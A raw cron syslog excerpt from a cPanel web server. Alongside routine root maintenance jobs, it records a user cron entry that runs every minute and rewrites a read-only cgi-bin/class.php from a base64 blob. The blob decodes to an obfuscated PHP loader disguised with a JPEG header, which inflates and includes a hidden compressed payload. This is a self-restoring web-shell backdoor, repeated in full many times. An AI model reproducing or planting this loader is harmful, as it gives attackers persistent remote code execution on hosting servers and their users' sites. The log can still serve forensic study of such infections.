Sep 10 10:58:01 server CROND[24873]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:58:01 server CROND[24871]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:59:01 server CROND[25245]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:59:01 server CROND[25246]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:59:01 server CROND[25247]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:00:01 server CROND[25721]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 11:00:01 server CROND[25725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:00:01 server CROND[25727]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:00:01 server CROND[25726]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 11:00:01 server CROND[25724]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 11:00:01 server CROND[25730]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 11:00:01 server CROND[25729]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:00:01 server CROND[25731]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 11:00:01 server CROND[25728]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 10 11:01:01 server CROND[26602]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:01:01 server CROND[26603]: (root) CMD (run-parts /etc/cron.hourly)
Sep 10 11:01:01 server CROND[26604]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:01:01 server CROND[26605]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:01:01 server run-parts(/etc/cron.hourly)[26603]: starting 0anacron
Sep 10 11:01:01 server run-parts(/etc/cron.hourly)[26624]: finished 0anacron
Sep 10 11:02:01 server CROND[26986]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:02:01 server CROND[26988]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:02:01 server CROND[26989]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:03:01 server CROND[27361]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:03:01 server CROND[27362]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:03:01 server CROND[27365]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:04:01 server CROND[27746]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:04:01 server CROND[27749]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:04:01 server CROND[27754]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:05:01 server CROND[28216]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 10 11:05:01 server CROND[28218]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 11:05:01 server CROND[28224]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:05:01 server CROND[28222]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 11:05:01 server CROND[28223]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:05:01 server CROND[28232]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 11:05:01 server CROND[28226]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 11:05:01 server CROND[28227]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:05:01 server CROND[28233]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 11:06:01 server CROND[29062]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:06:01 server CROND[29063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:06:01 server CROND[29064]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:07:01 server CROND[29431]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:07:01 server CROND[29432]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:07:01 server CROND[29433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:08:01 server CROND[29796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:08:01 server CROND[29797]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:08:01 server CROND[29798]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:09:01 server CROND[30183]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 11:09:01 server CROND[30185]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:09:01 server CROND[30190]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:09:01 server CROND[30191]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:10:01 server CROND[30666]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
